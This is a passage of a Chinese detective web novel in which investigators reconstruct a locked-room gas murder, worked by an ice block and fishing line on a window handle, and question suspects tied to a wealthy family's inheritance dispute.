“姑奶奶认为我是抱养的,张皓钧死后,我爷爷相当于绝嗣了,而她的孙子是第三代里唯一跟我爷爷有血缘关系的人。她一直想把孙子过继给我爷爷,以争取更多的遗产。” 陆从景有了解过张鸿禺妹妹张红芳一家的资料,张红芳的儿子儿媳都在鸿达集团里担任要职,孙子也在。这确实比在律师事务所上班的张越凝更有竞争力。 陆从景:“你外公对你姑奶奶一家很照顾是吗?” “很照顾,我妈担心他们会分走属于她的遗产。不管多少,肯定会分走一部分的。姑奶奶家也是张皓钧死后的受益者之一。” “你不怀疑姑奶奶那边的人?” “也怀疑。没那么强烈。皓钧走后几年,他们没表现出太多的非分之想。是后来我爷爷对姑奶奶一家越来越关照,给了他们希望,他们才一步步越想越多的。” 得陇望蜀,人之常情。 “万一他们前面是故意避嫌呢?” “也不排除这个可能性。具体如何就需要你们去调查了。我只是希望,能找出杀害皓钧的真凶。” 陆从景看着她,问:“你们关系很好?你跟张皓钧。” 张越凝:“我比皓钧大几个月,我们一起长大,比亲姐弟还亲。” 夏木棉特别理解她的心情,“凝姐,我们一定会尽心尽力调查出真相的。” 张越凝微微莞尔:“谢谢你们。” 剥了满满一小碟的开心果,陆从景自己却不想吃,他把碟子放到夏木棉和张越凝中间。 “谢谢张小姐今天主动找我们沟通。目前还不确定张皓钧案的调查能不能重启,但不妨碍我们通过其他案件来侦破此案。不知道张小姐愿不愿意帮忙盯着你们家族里这些人,一旦有线索,及时联系我们。” 张越凝毫不犹豫:“我当然愿意。我愿意全力配合你们。” 继续聊了会儿,双方互相留了电话号码。 陆从景和夏木棉便先行告辞。 等他们出去之后,张越凝看着桌上的一小碟开心果,愣愣坐了好一会儿。 笃笃笃! 敲门声把她拉回现实。 抬头发现沈青进来了,她递了新客户的资料过来。 “最近都是些小案子,你要是不想接,我就帮你推了。” 张越凝不挑,“听律所安排。我刚才转了一条微信给你,骆安乔打架的案子,你对接一下。刑事部分给出去,民事赔偿部分我们接。” “好,我先沟通。”沈青坐下后,不客气地端起桌上剥好的开心果,一个接着一个往嘴里抛,“现在警察办案,都这么贴心吗?还给你把开心果都剥了。” 张越凝被逗笑了。 沈青又问:“晚上怎么安排?去找男朋友还是回家?” “你说呢?” 沈青微笑着调侃:“爱情的魔力啊。好好享受这一程吧。” “好吃吗?”张越凝盯着她手里的开心果仁。 “好吃!脆香脆香的!” 沈青把小碟子递过去,张越凝捡起一颗放进了嘴里。 一股坏了的油哈味。 她赶紧抽了张纸巾,吐在纸上。 “坏了?”沈青给她选了一个漂亮的,“你试试这个。” 张越凝端起茶杯喝茶:“不吃了。” * 走出青桐书吧,夏木棉小声感叹:“没想到,凝姐是养女,眼睁睁看着几十亿身家跟自己无缘,也挺无奈的。” “你怎么知道跟她无缘?” 夏木棉想了想,“也对,张芷琼要是继承了遗产,以后大概率也是她的,就算继承不了全部,也能继承一部分吧?既然利益休戚相关,那她为什么还要跟我们告发张芷琼呢?张芷琼如果真是幕后真凶,大概率会被张鸿禺剥夺继承权,那岂不是白白便宜她姑奶奶那家人了吗?” 正义得有点矛盾。 陆从景往街道斜对面的奶茶店走去,夏木棉问:“不去取车吗?” “先喝点东西。”陆从景走的很快,夏木棉小跑着跟了上去。 点了两杯果茶,他们坐到临街玻璃窗前。 木棉轻轻叹了一声:“凝姐跟她表弟的感情应该很好,不然她不会冒险找我们。而且她妈妈对她,挺一般的。” 能对自己孩子说出“不要妄想得到更多”这种话,骨子里多少有些无情。 陆从景嚼着珍珠,轻飘飘说了句:“张越凝的话,我们也不能无条件全信。” “为什么?” “别忘了,是她的助理沈青给崔雄伟家人转的钱。” “我也想不明白,张芷琼为什么要让凝姐的助理去付钱。如果凝姐知情,她今天不应该来找我们。所以,她大概率是不知情的。那张芷琼为什么要去使唤她助理做事呢?” 说着,木棉脑洞大开,“说不定,沈青是张芷琼安排在凝姐身边的眼线,就为了更好地控制不是自己亲生的女儿。” 陆从景没有肯定也没有否定木棉的猜想,他下巴微抬,“出来了。” 夏木棉侧头朝青桐书吧看去,只见张越凝和沈青一起出来,朝右边停车场走去。 陆从景:“虽然我们要对张越凝有所保留,但她今天跟我们交谈的全过程,完全没有跟我们打探任何消息。从这点看,目前她还是无害的。” 夏木棉连连点头:“对啊,她就长着一张无公害的脸。” 陆从景嫌弃地瞪了他这个小师妹一眼。 “相由心生。”木棉一本正经地解释,“直觉和理性分析都告诉我,她是好人。” “谁不是好人?”陆从景吸了一大口的果茶,“走吧。先去把密室杀人的谜团解开。” 他们要去见昨天撬门的消防员。 * 在消防员下班之前,陆从景和木棉赶到了消防站。 在休息室里,他们见到了撬门的其中一个消防员,还有另外两人今天都休息了,不在站里。 “撬门没花多长时间,撬开门后,我冲进厨房关闭煤气罐阀门,并打开了厨房的窗。小贵和春哥两个人去开阳台门和其他窗户。” 陆从景问:“厨房有两扇窗户,上面的小窗户你也打开了吗?” “我没开那个小窗户,当时时间那么紧张,我没空管这个。小贵把卧室里中毒的人抱到阳台上急救,我去帮忙了。” “那你有没有留意,厨房上面的小窗户,当时是锁着的,还是没锁的?” “小窗户的旋转把手是卡死的,外面打不开,我很确定。这完全就是一个密室。” “你们现场来了几个消防员?” “三个。” “三人都在阳台对许忠进行急救?” “一开始我们三个都在阳台,后来因为有邻居进来,春哥去维持秩序,把人都清出现场了。” “有哪几个邻居进来了?” “看热闹的邻居都涌进来了,当时屋里煤气还没完全散去,那些人也不怕,都围到阳台来,想要围观我们急救。还有牵了狗来的,把狗拴在外面,见人就吠,还差点引起邻里矛盾。” “邻居们进来,有没有进厨房和许忠的卧室?” “我没留意。不过那些人刚进来,就被春哥赶出去了。在现场呆的时间很短。” 又问了几个问题,有人敲门叫那消防员去打篮球。 陆从景表示:“你去打球吧,我问完了。” 从休息室出来,遇见几个打篮球的人请吃老冰棍。 木棉手里硬被塞了两包冰棒。 篮球场就在停车场旁边,陆从景站在边上看他们打球。 打的还挺有水平。 “陆顾问,要不要一起打?” 他们并不缺人,陆从景识趣婉拒,“我看你们打。” 木棉吃着冰棒,给他递来另外一包,“师兄,老冰棍再不吃就要全化掉了。” 陆从景无奈接过,撕开包装袋,里面已经融化了部分。 吃着快要融化的冰棍,陆从景忽然灵光一闪,他似有所悟。 “你看过罗尔德·达尔的短篇小说《羊腿与谋杀》吗?” 夏木棉嚼着冰棍,摇头:“没看过。” 陆从景便把故事跟她讲了一遍。 《羊腿与谋杀》讲的是一个怀孕主妇玛丽在得知丈夫出轨并将离开她后,在震惊与绝望之下,用冻羊腿砸死了丈夫,并把羊腿烤好招待前来调查的警察,让警察在神不知鬼不觉中吃掉凶器的故事。 “这和老冰棍有什么关系?” 陆从景提醒:“许忠家厨房窗户旁边台面上的那一滩水,很大可能是冰块融化的。”《 》 14、第14章 第14章第14章这日是周六,早早醒来睡不着…… 这日是周六,早早醒来睡不着的木棉咬着一个粉丝肉馅包子就出门了。 来到办公室,没想到刘泰安比她还早。 “组长,你怎么也那么早?” “我七点多就来了。”刘泰安喝着养生茶,打了个呵欠。 最近压力大,休息不好,他眼皮底下是大大的两个眼袋。 他这把年纪也不想升职加薪的事了,就是想把手头这个案子破了,让同僚和领导们高看一眼。 来加班的人陆续进来,办公室各人在沉默中忙碌着。 田海亮问:“我听说2组的刘阳和小董过来帮忙是吗?” 刘泰安:“陈队给我们加了两个人,晚点你跟他们对齐一下工作。” “张皓钧案呢?能重启吗?” “鉴定所的报告没出来,走流程也需要时间,这个事情不是一天两天就能定下来的。陈队的意思是,优先调查手上的案子。” 上午各忙各的,差不多11点左右,人齐了,刘泰安张罗着去会议室开会。 木棉提醒:“师兄还没来。” 刘泰安看了眼陆从景的位置,面对这个他掌控不了的人,他心底很恼火,但也没办法。 “不等。” 今天开会多了刘阳和小董,总共7人。 程栋梁先把调查进展进行了同步。 “许忠死之前的白天我们上门找了他几次,但他始终处于失联状态。调取小区和道路监控,发现他在死亡前一天的早上六点半,独自一人骑着自行车,带着钓具从小区后门出发,往北出了市区后,沿着国道往西,最后消失在水东村附近。” 投影幕显示的是监控画面截图,下一页是一张地图,程栋梁滑动鼠标在一个“红点”上画了个圈,“根据我们的最新调查,水东村山坳里有一个野塘,那边没有通讯信号,知道的人不多,但有资深钓友在那个野塘一钓就是一整天。” 刘泰安问:“许忠消失的一整天,是去钓鱼了?” 程栋梁:“是的。他自己一个人,没有同伴。六点半出发,傍晚七点才再度出现在监控画面中。许忠钓了半桶鱼,他先把鱼送到花鸟市场,放到他办公室后面的鱼池里,之后许忠在市场外面的大排档吃了一份炒面,大概九点左右回家,路过水果摊买了一个西瓜,从监控画面看,许忠神态轻松,去小卖部买东西,跟店家也是有说有笑。完全不像是一个想要自杀之人的状态。” 田海亮补充道:“我们调取了许忠的手机通话记录,没有异常。不过微信聊天记录有一些收获。梁小宇的姨丈关盛勇,从许忠被我们请回来做笔录开始,关盛勇就给许忠打了四五个微信视频电话。在许忠钓鱼失联当天,关盛勇又给许忠发了两条微信,其中一条是‘警察又来小区找你了’,另外一条微信是‘回来给我电话’,许忠从市区回来,晚上差不多11点才给关盛勇回微信‘明天早上我去找你’。” “还有另外一人,是许忠老同事兼楼上邻居蔡中华,蔡中华也在许忠失联那天发微信问他‘什么时候有时间,一起聊一聊’,许忠没回他。” 木棉停下手中的笔,关盛勇她早前有怀疑过他,蔡中华倒是有些意外。 汇总完信息,大家讨论了将近一个小时。 小耿忽然发出一个灵魂疑问,“密室杀人的谜团如果解不开,就没办法确定是他杀,现在怀疑任何人,都没有意义吧?” 田海亮反驳他:“谜团没解开我们就不做事了?双线进行懂不懂!” 程栋梁:“何止双线啊,三线四线五线都有了。” 刘泰安再次重新分配任务,每个人手上的工作都满满当当的,最后,他转向木棉。 “你转告陆从景,解开密室杀人谜团的任务主要交给他负责。” 夏木棉也不能替陆从景说已经有进展,她只能点头回答:“我跟师兄说。” 正要散会,会议室门打开了。 陆从景拎着一份餐盒走了进来。 刘泰安习惯性瞄了眼手表,快12点了才来,他很不满,但没说话。 田海亮笑着调侃:“从景,密室杀人解密要交给你了。” 陆从景打开餐盒,里面是香喷喷的肉丝炒粉,他是午餐时间吃早饭。 他抽出一次性竹筷子,先吃了一口。 看来是真的饿。 见众人都看着自己,陆从景不由问:“限期多久?” 田海亮哪里能拿主意,他看向刘泰安,“头儿。” 刘泰安也不看陆从景:“最多一个星期。” 被迫做人工传声筒的田海亮马上对陆从景笑道:“最好一个星期之内。” “最好”和“最多”在语气上的差别那就是“良辰美景”与“奈何天”之间的距离。 陆从景吃着炒米粉,问:“如果我一天之内解了谜团呢?” 刘泰安终究还是忍不住扭头看向陆从景,他怀疑这臭小子已经解开了。 还是小耿没头没脑没大没小接过话题:“景哥你要是一天解密,那头儿肯定请大家吃饭啊!” 程栋梁也跟着起哄,“我看可以,中午去吃牛肉火锅。” 没人反对。 田海亮知道刘泰安也是赞同的,他笑道:“那就这么定了。从景,你是不是已经有解题思路?快端上来。” 陆从景三口吃掉了大半的米粉,终于垫饱了肚子,他才起身走到会议桌最前面,示意木棉:“打开文件。” 众人略惊讶,木棉这姑娘真沉得住气,刚才开半天会,她愣是没透露半点信息。 毕竟不是自己亲自带的人,刘泰安多少有些无奈。 木棉接过程栋梁递来的投影接口,插到笔记本电脑上,随后打开展示PPT。 第一页就是许忠家的户型图。 “许家是个普通的两室两厅小户型,一个大门,一个阳台,五个推拉大窗户,一个平开小窗户。” “事发当时,大门从内部反锁,外部无法用钥匙打开,所有大窗户不止内部锁了,外面还有防盗网,无论是阳台还是窗户防盗网都没有逃生口,也没有撬开的痕迹,也就是说,这是一个典型的密室环境。” “现场除了大门外,唯一可能通往外面的,是厨房上方的平开小窗户。” 陆从景用激光笔指向投影幕的小窗户照片,“这是个从里往外、从左往右开的平开窗,外面没有防盗网,打开到最大,一个体型中等偏瘦的成年人通过完全没问题。” “现在的问题就是,事发后,第一个进入密室的消防员,他清楚记得,这扇小窗户左边的旋转把手是卡死锁上了的。” 小耿点头:“是啊,我还拍了照,确定是内部卡死的。” “大家来看看这个旋转把手。” 木棉点开了一个视频。 只见视频里,木棉站在许家厨房的台面上,伸手去拉小窗户的“把手”,关紧小窗户后,“把手”往下压,顺时针旋转19度,轻松把窗户卡得死死的。 “窗户的旋转把手提前上过油,非常的润滑。假设凶手等许忠熟睡后,偷偷溜进许家,他怎么进的许家呢?可能是事先配了大门钥匙,只要大门没反锁,他用钥匙可以进去,也可能是从小窗户爬进去的。凶手进入许家后,将大门从内部反锁,他关上所有的门窗,用旧衣服堵塞阳台门缝,偷偷拿走许忠的手机,然后进厨房拧开煤气,从小窗户离开。小窗户外面就是水管,顺着水管下三楼,没有太大的难度。” “凶手从外面关上小窗户的时候,只要里面的把手能自己顺时针旋转19度,把窗户卡死,那么x密室就完成了。” 田海亮马上明白过来,“给把手压上足够的重量,它就能自己旋转19度。例如,吊个砖块,吊个哑铃!” “没错。” 小耿:“但是现场小窗户把手上什么都没有啊,如果吊了东西不可能无缘无故消失吧?” 程栋梁对这个案件的资料最熟悉,她恍然大悟:“砖块和哑铃当然不会无缘无故消失,但冰块可以!” 她快速从桌面资料中找出一张照片,“厨房台面有一大滩水。很可能就是冰块融化的。” 大家传看着那张照片。 程栋梁:“而且许忠家厨房并不算很干净,唯独窗户这一面墙例外,很大可能是凶手怕墙上油污太黏,会不小心留下痕迹,所以特意清洁了墙壁瓷砖。” 有人提出疑问:“如果凶手在小窗户把手上吊了一块冰砖,用什么吊的?绳子?布条?还是什么?现场并没有发现吊具。” 陆从景单手撑着桌上:“这就是凶手聪明的地方,他用的绳子是透明的鱼线。许忠作为钓鱼爱好者,他家抽屉有很多鱼线。” 小耿:“冰块会融化成水,那鱼线呢?鱼线去哪儿了?我们在窗户把手上并没有发现鱼线。” “消防员破门后,第一时间进厨房关煤气阀门、开大窗户。而小窗户在墙壁上方,清早光线不足的情况下,鱼线是很容易被忽略的。所以,消防员进来的时候,鱼线还在。那鱼线是什么时候消失的呢?” 众人看着陆从景,等待他说下去。 “我们来顺一下凶手的行为以及逻辑。凶手从小窗户离开许家,等到凌晨4点,用许忠的手机,给他女儿留了微信遗言。为什么是4点,我猜凶手不敢太早发微信,是怕万一许忠女儿晚睡,半夜看见父亲微信后报警,所以凶手就想等久一点,等许忠死透,再发微信。” “这一晚凶手肯定没睡,他一早就等待着邻居或者谁发现煤气泄漏后报警,在消防员开锁的时候,他在人群中围观。破门后,消防员冲进去关闭煤气、开窗,然后把许忠搬到阳台急救。这个时候,凶手在人群中或者鼓动,或者没有鼓动,邻居们主动进屋想要看看能不能帮上忙,他跟着人群进了屋。” “他做了两件事,一是进厨房割走了鱼线,因为时间紧,外面有人,他要踮起脚才够得着鱼线,所以割鱼线的时候,不小心在窗户‘把手’上划了一道口子。” 激光笔圈了圈投影幕上的“把手划痕”照片,陆从景说:“这是新划的口子。” “割完鱼线出来,凶手做了第二件事,那就是把许忠的手机,放回他的床上。之后凶手装作若无其事,随着人群去阳台围观,直到被消防赶出来。” 陆从景讲完,大家都愣了一会儿,随即有人小声鼓掌。 小耿的脑袋瓜子依然充满了疑惑,“许忠手机只有他自己的指纹,说明凶手是戴了手套的。当时那种环境,凶手戴手套会很奇怪吧?还有,我们在许忠房门的门把手上新发现了其他邻居的指纹,这个邻居会是凶手吗?如果他是凶手,为什么门把手上有指纹,手机上没有?” 不用陆从景回答,程栋梁就帮他解答了,“这有多种可能性。例如留下指纹的邻居和放手机的不是同一个人;假如是一个人,那可能是一只手戴了手套,握着许忠的手机,藏在衣服兜里,另外一只手没戴手套,但指纹不小心留到门把手上……” 小耿还有问题:“那怎么确定灶台上的水是冰块融化的呢?如果是冰块融化的,台面应该比较凉才对。” 田海亮踢了他凳脚一下,“合理推断!懂不懂?” 陆从景耐着性子解释:“许忠出事当天夜晚平均温度在25摄氏度左右,而一块红砖大小的冰块,在25°室温下,融化时间需要3个半小时。许忠死亡时间是凌晨2-3点,按照当时一氧化碳浓度计算,许忠应该是在1点左右开始出现中毒,也就是说,凶手最晚离开许家是凌晨1点。从1点开始融化,3个半小时也就4点半左右全部融化完毕。到了早上六七点,融化掉的冰水,已经跟室温完全一样。” 2组过来的刘阳竖起大拇指:“逻辑严谨、严丝合缝……” 刘泰安显然也是高兴的,于公于私,他都该高兴,既破解了密室之迷,陆从景还给他长脸了。 陆从景收起激光笔,木棉则把投影仪接头还给了程栋梁。 田海亮接过话题,“所以,当天早上,凶手就混在人群中围观。根据我们的调查,那天围观的人,都是家属院小区里的邻居……” 也就是说,凶手就是邻居中的一个。 小耿快速拿出名单:“同层的邻居曾立兴戴丽华夫妻俩、贾伟东马月娥夫妻俩,这几个人可能性比较低,因为他们住许忠隔壁,如果要杀人,也不会用煤气这种随时可能爆炸,连累自己的方式。” 程栋梁点了点笔,“不能完全排除,只能说可能性比较低。” 小耿:“对,他们可能性比较低。” 还有2楼邻居,是个胖子,肯定爬不了窗。 4楼邻居年纪都70多了,也爬不了小窗和水管。 “5楼邻居蔡中华,他目前是重点怀疑对象,就是给许忠发微信,说有事要跟他聊,问他什么时候有时间,但许忠没回他那位。” “9栋邻居关盛勇,重点怀疑对象,梁小宇姨丈,一直不配合提取DNA,许忠房间门把手上留下的指纹就是他的。而且他近期跟许忠有多次视频通话记录,关盛勇还提醒许忠有警察找他,而许忠回微信第二天早上去找关盛勇。” 陆从景问:“微信记录是从许忠手机上看到的吗?” 许忠手机在凶手的手中过了一晚,如果凶手是蔡中华或者关盛勇,他应该会删掉聊天记录才是。 田海亮:“许忠手机最近几天的微信聊天记录全部被删,我们是找技术部门恢复的记录。” 大家重新捋了一下思路,决定先攻破蔡中华和关盛勇,下午把这两人请回来协助调查。 作为嫌疑人,关盛勇必须配合提取DNA。 散会的时候,小耿积极组织大家去吃牛肉火锅。 “头儿,如果预算足够,那我们就去吃龙记,很近,走路过去就行。”这小子压根没给预算不够的选择。 刘泰安笑着手指点了点:“可以,我们顺便欢迎刘阳和小董加入我们调查组。虽然今天是周末,但下午还有很多工作要做,中午我们只吃饭,不喝酒,现在一点了,速战速决,两点半之前吃完回来。” 大家都没意见。 “等破案了,我们再好好吃一顿。” 对于大家这段时间毫无怨言的付出,周末也来加班,木棉感激道:“等破案了,我请客。” 田海亮摆手:“不能让你请,破案了我们有经费。” 程栋梁笑道:“你要请也可以,等你转正的时候请。” 木棉笑着点头:“我一定请。” 收拾好东西回到办公室,才发现陆从景没打招呼就先走了,看样子,中午的聚餐他又不参加。 也是,刚吃完一盒炒粉,哪里还吃得下。 其实木棉也没心思去吃火锅,但她不去又担心给同事们心理压力,所以她还是去了。 陆从景开着车在十字路口等红绿灯,他下午要去见一个人。 张皓钧在百步中学的同学。 他通过之前采访过的张皓钧同桌联系到的人,据说他有一些之前警方没有掌握的信息。 在咖啡厅里,陆从景见到了那位微胖的IT男。 “我跟张皓钧坐前后桌,一开始我们并不熟,只知道他家有钱,从国际学校转学来的。” 陆从景问:“他为什么要从国际学校转学到百步中学?” “张皓钧在国际学校成绩不好,他表姐在百步中学,但成绩是全年级排前几的,可能因为这个,他家里才给他转过来的吧。他跟他表姐的感情挺好的,他每天放学就会去隔壁4班等他表姐一起回家。” IT男喝着冰柠茶,“后来跟张皓钧接触的多了,我发现他对他表姐似乎有些不满,有一次我们班有女同学公开赞扬张越凝不止长得好,成绩好,还很自律。然后我就听见张皓钧小声嘟囔了一句,装的!” 陆从景微微蹙眉:“张皓钧的意思是,张越凝是装的?” “是的。他好像生活在她表姐成绩好的阴影之下,内心有不x满吧。” 同一个家族的两个同龄孩子,成绩差的对成绩好的有妒忌之心,很正常。 陆从景:“我听林同学说,你这边还有其他信息可以分享是吗?” IT男点头:“张皓钧出事那天下午第一节课课间,张越凝来我们班找张皓钧,我看见他们走到后面的乒乓球室,非常激烈地吵架。” “吵什么?” “听不清,隔了一段距离。最后张越凝甩门走了。张皓钧回来后,情绪也不太好,一节课都没说话,傍晚他就在后山出事了。” “在你们眼里,张皓钧和张越凝的关系怎么样?” IT男想了想,笑道:“说不上来的感觉,张皓钧每天去等张越凝放学,但是张越凝对张皓钧的态度比较冷淡,没有姐姐对弟弟的那种热情。我们班同学都猜测,他们是竞争关系,亿万家产的竞争关系,跟我们这种普通人家的姐弟是不一样的。” 但张越凝跟陆从景说过,她和张皓钧比亲姐弟还亲。 这就值得玩味了。 聊了半小时左右,陆从景离开了咖啡厅。 驱车经过市图书馆,刚好距离张越凝的律所不远,他习惯性往那边绕过去。 陆从景前段时间跟踪过张越凝,她是个工作狂,几乎每周六都会到律所加班。 他猜,她今天会不会也在律所。 既然来了,他便想等一等。 才在路边停好,陆从景发现左前方刚启动的大众迈腾就是张越凝的车。 再一细看,数学老师戚振勋竟坐在她的车里。 不是多年不来往了吗?怎么戚振勋会在张越凝车里? 陆从景不由驱车跟了上去。 不久转入滨河路,大众迈腾开进了滨河公园的停车场。《 》 15-20 第15章第15章在公园停车场绕了一圈,找了…… 在公园停车场绕了一圈,找了一个靠近河堤的位置,停好车,张越凝略一停顿,才拿钥匙下车。 她快步在前,而戚振勋下车后,亦步亦趋地跟在她后面。 前面是护城河支流,周末河边游玩的人不少,张越凝站在河堤上,迎风轻轻呼了口气。 “找我什么事?” 戚振勋今天特意穿了新买的灰色POLO衫,但站在她身旁,明显是两代人的落差感,让他有些自惭形秽。 特别是她的冷淡,在她眼里,她肯定以为他自作多情想要谋求什么。 他确实是有所求。 “那天,张皓钧打电话约我见面,你想知道他要跟我说什么吗?” 张越凝瞥了眼已显老态的戚振勋,大概猜到张皓钧跟他说了什么。 戚振勋清了清喉咙,继续:“我被调到小县城,这么多年都没有翻身的机会,起因是你母亲诬告我,把我害成这样。我现在也没有其他的要求,我父母老了,需要我照顾,我希望调回临城富平区教育系统。这对于你们家来说,不是什么难事吧?” 张越凝反驳:“我妈当年不算诬告你。” 戚振勋: “而且,我没兴趣知道张皓钧跟你说了什么。” 言下之意,她不会帮他。 失望从戚振勋脸上划过,他狠了狠心,“既然这样,我只能如实跟警察说,我相信警察有兴趣知道。” 这是要挟? 张越凝满眼鄙夷地看向他:“没想到,戚老师也变成这种人了?” 他变成哪种人了? 戚振勋破防道:“你来试试我的生活,试试我这种不可救药的人生,你来试试!” 张越凝想说,她也没比他过得好多少,但终究没说出口。 在别人眼里,有钱家庭孩子的苦难,都是无病呻吟,不值一提。 戚振勋也不会例外。 “把你调回来,万一被我妈发现的话,你会更麻烦,别说调市区了,你恐怕连工作都保不住。” 戚振勋是下了最大勇气来找她的,既然找了,他就不愿意轻易放弃。 “张皓钧当初来找我,不是让我离开你。他是让我亲口承认我们的师生恋,让我跟他承认,是你勾引的我,他要搞臭你的名声,让你爷爷一分钱都不留给你!结果傍晚他没见到我就被人吊死了。为什么就这么巧?” 张越凝攥紧了拳头,“事实就是这么巧。” “我已经回不到从前的生活,我只想照顾好我年迈的父母,希望你能理解。” 张越凝捋了捋额前被风吹乱的头发,她思忖着,她唯一能给的,只有金钱了。 “我可以给你一笔钱,你在县城买一套房,把你父母接过去照顾。再多我也没有了。” 戚振勋有些惭愧:“我不是为了钱。” “那你去告诉警察吧。”她说这话多少有些怨气在。 “不要以为我会心软。我告诉警察你就完蛋了。你好好想想,我要的不多,我只要迁回市区,你可以办到的。” 见张越凝没再拒绝,戚振勋微微鞠躬,“我先谢谢你。” 犹豫了会儿,他才转身离开。 张越凝揉了揉眉心,重重呼了口气。 河堤前方立着禁止垂钓的牌子,不远处,有几个学生模样的男孩在追逐打闹。 回不去了,那年延绵到9月的漫长夏天,一切都回不去了。 如果能回去,她肯定要改变这个结局。 可惜,没有如果。 审讯室里,光线明亮。 蔡中华面对警方的盘问,表现的有点紧张。 “我就是想找老许聊钓鱼的事,我想跟他学钓鱼。” 程栋梁冷着脸:“为什么许忠不回你微信?” “他手机没信号。后来我遇见他,他答应教我钓鱼了,就没必要再回我微信了。” “你什么时候遇见他?” “就他出事那天晚上,我下楼倒垃圾,刚好碰见他回来,我就在楼梯口跟他说了钓鱼的事,他满口答应。” “几点?” “九点左右吧,我看完电视剧《平凡人家》下楼的。” “有人证吗?” “我婆娘,我回去就跟她说了,我要买支好点的钓鱼竿,她还不同意。” 另外一个房间里,刘阳盘问了蔡中华的老婆,口供基本对的上,最重要的是,蔡中华曾经出过车祸,大腿有旧伤,走路没问题,但爬窗爬楼是肯定不行的。 一个小时后,开始审关盛勇。 这家伙跟蔡中华完全不一样,非常的狡猾。 “我跟老许就是普通老同事,我看见警察三番几次来找他,是关系我外甥的案子,我当然关心啊,我就发微信去试探他。” “试探什么?” “不说他可能是凶手吗?” 程栋梁厉声道:“问你想要试探什么?!不要给我绕!你做的事情,警方都知道。” 关盛勇油腻腻的脸上,一脸无辜:“警察同志,你们不会怀疑我吧?我就想探探许忠的口风,看他紧不紧张,会不会真是杀小宇的凶手。” “既然你那么想要找到杀害梁小宇的凶手,为什么自己却又不配合提取DNA?不自相矛盾吗?” “凶手又不是我,我们不配合不影响你们调查吧?我们家几个不配合完全是为了气梁国邦。不是他得罪的人多,遭到别人报复,小宇不会死,不是他对我大姐不闻不问,我大姐也不会自杀。他就是罪魁祸首!”关盛勇说得都激动了。 “你为了气梁国邦,所以不配合警察调查梁小宇的死,要不你去地下问问你大姐,看她认不认可你这个逻辑!”程栋梁怒斥,“简直狗屁不通!” 关盛勇无赖上了:“你们不相信我也没办法。” “许忠去世当天早上,你为什么那么巧出现在他家门口?” “我一早一晚都要出门遛狗,那天早上我去遛狗,听说许忠家漏煤气了,我特意去看看究竟的。而且围观的那么多,又不止我一个。” “你带着你的狗进了许忠家?” “没有,我看大家都进去看许忠怎么样了,我也想进去看看,就把狗栓在扶手上了。结果那几个女的找事,说楼梯也在散煤气,狗闻多了也会中毒。让我赶紧把狗牵走。” “所以,你进许忠屋里了吗?” “进了。我跟着大家进去的……” “是谁主张进屋看的?” 关盛勇仔细回想:“不记得了,跟许忠关系好那几个吧,都想看看许忠怎么样了。当时大家都往阳台走。第一,阳台那边空气好点,第二,许忠在阳台急救,都想看看什么情况。我刚围上去,消防就来赶我们走,当时蔡中华他老婆和戴丽华在最外面,她们被狗吠了两声,就嚷嚷着找事,大义凛然的说我不顾狗的死活。因为我不愿意配合警察验DNA,那个戴丽华本来就对我有很大意见,他们家和梁国邦、夏至民三家人穿一条裤子的,她故意找我茬,把我数落一顿。” “进许家的时候,你没进厨房和许忠卧室?”x “没有。” “你有看见其他人进厨房和许忠卧室了吗?” 关盛勇摇头:“没看见,大家进去都往阳台走。” 程栋梁盯着关盛勇,把问题又倒了回来,“你确定你没去厨房?” 关盛勇坚决否定:“没有!我去厨房干什么?我都没那个时间。” 程栋梁提高音量:“你不止进厨房了,还进了许忠的卧室!” 由于对面女警说得太过肯定,关盛勇明显犹豫了一下,“警察同志,我真没有。” 程栋梁拿出一份资料:“我们在许忠卧室的门把手上找到了一枚你的指纹。” 关盛勇没听懂似的,反问:“为什么?” 程栋梁:“这应该我问你。” “我没进过许忠的房间。我进去干嘛?偷东西?我至于吗?”关盛勇想了想,马上道:“许忠房间门挨着阳台,我挤去阳台的时候,被人撞了一下,不小心碰到了门把手吧?不小心碰到了。警察同志,我说的可都是实话。” “谁撞你?” “我哪儿记得。又不是故意撞的。人多,挤得。” 程栋梁:“许忠出事那天晚上9点至第二天凌晨4点,你在哪里?” “我在家。” “谁给你作证?” 关盛勇再次犹豫了,“我老婆在医院值夜班,我小孩住校,家里就我一个人,我看电视到10点半就上床睡觉了。这我去哪里找证人?” 刘泰安目光从监控画面收回,他走出监控室,碰见田海亮从外面回来。 “头儿,关盛勇怎么样?招了吗?” “嘴巴很紧。你催一下司法鉴定所……” “催了,我刚从那边回来。” 进了办公室,刘泰安坐下后拿起保温杯喝水,这么多年负责查积案,没这么高强度工作过,把他累的够呛。 田海亮拉着自己的椅子坐到刘泰安旁边,“我们在许忠床底下找到的皮鞋和劳保手套,鉴定所给的结果是,确定皮鞋鞋印跟张皓钧案件现场的鞋印完全一致。” “太好了!”刘泰安一激动,差点被保温杯的水给呛了。 重启张皓钧案,看来可以走流程了。 这是他们三组的功劳。 田海亮把初步鉴定报告递给刘泰安:“劳保手套提取到了许忠的皮屑,不过手套外面还发现了新鲜鱼饵的成分,说明这双手套近期有使用过。” “有鱼饵的痕迹,近期钓鱼的时候用过?”刘泰安接过鉴定报告细看。 田海亮:“应该是。这么多年过去了,许忠为什么留着作案工具不销毁?而且把手套拿出来使用后,为什么又放回那个作案工具袋里?逻辑上有点说不通。除非他近期戴着那副手套,又做了其他我们还不知道的案子。” 刘泰安放下资料:“逻辑上是有纰漏,把你刚才的思路整理出来,发给大家。接下来还要申请重启张皓钧案的调查,工作量会更大。” 坐在角落的夏木棉听着他们的交谈,默默记下信息,明天看见师兄她要把最新进展汇总给他。 张越凝在车上坐了一下午,快六点了,接到曾晖打来的电话。 “亲爱的,你在哪儿?”曾晖问她。 张越凝略微有些怠懒:“在外面,刚忙完。” “晚上来我这里吃饭,给你做你喜欢的酸菜鱼。”曾晖在公司附近租了一套公寓,平时不回家住。 张越凝笑道:“好啊,我等会儿过去。” 挂了电话,张越凝又坐了会儿,才驱车离开滨河公园。 从滨河公园出来,转了几条街道,快到曾晖住处的时候,她发现后面有一辆吉普车好像在跟踪自己。 张越凝也没加速,只正常速度开进了乐豪大厦地下停车场。 上7楼,按下门铃。 曾晖穿着围裙来开门:“不是给你钥匙了吗?” “今天出来没带。”张越凝闻到了菜香味,“好香啊,我肚子饿了。” 曾晖给她把拖鞋拿出来,“你先坐着等一会儿,很快就好。” 换了鞋,她去洗手间洗手,张越凝看着镜中的自己,脸色有些苍白,看着有些许的疲倦,她忙自己给自己挤了个笑脸。 从洗手间窗户往外张望,可以看见小区后面的小路。 刚才跟踪她的那辆吉普车,就停在小路边。 张越凝擦干手,去厨房看看有什么可以帮忙的。 